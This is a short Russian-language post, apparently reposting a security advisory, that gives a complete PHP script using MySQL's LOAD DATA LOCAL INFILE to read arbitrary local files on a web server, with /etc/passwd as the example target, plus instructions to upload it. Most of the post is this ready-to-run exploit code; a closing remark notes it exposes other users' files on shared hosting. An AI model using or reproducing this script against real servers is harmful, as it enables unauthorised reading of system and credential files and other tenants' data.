Это фича-бага MYSQL.
Чтение произвольных файлов в PHP + mySQL (локальный эксплоит)
Атакующий может использовать PHP и mySQL, чтобы читать некоторые локальные файлы. Создайте базу данных (mySQL) и загрузите этот файл на сервер.
PHP код (viewfile.php):
<?
// config this data
$dbhost = "";
$dbuser = "";
$dbpasswd = "";
$dbname = "";
$file = "/etc/passwd"; // filename that you wanna view
// shell code
echo "<pre>";
mysql_connect ($dbhost, $dbuser,
$dbpasswd);
$sql = array (
"USE $dbname",
'CREATE TEMPORARY TABLE ' . ($tbl
= 'A'.time
()) . ' (a LONGBLOB)',
"LOAD DATA LOCAL INFILE '$file' INTO
TABLE
$tbl FIELDS "
. "TERMINATED BY
'__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY
'__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
foreach ($sql as $statement) {
$query = mysql_query ($statement);
if ($query == false) die (
"FAILED: " . $statement . "\n" .
"REASON: " . mysql_error () . "\n"
);
if (! $r = @mysql_fetch_array ($query,
MYSQL_NUM)) continue;
echo htmlspecialchars($r[0]);
mysql_free_result ($query);
}
echo "
"; ?> вы загрузите содержание /etc/passwd.
Уязвимость очень опасна, потому что пользователь может читать некоторые важные файлы на вашем сервере. Особенно это критично на бесплатных хостингах – уязвимость позволяет получить доступ к содержанию других пользователей.
http://www.securitylab.ru/?ID=34630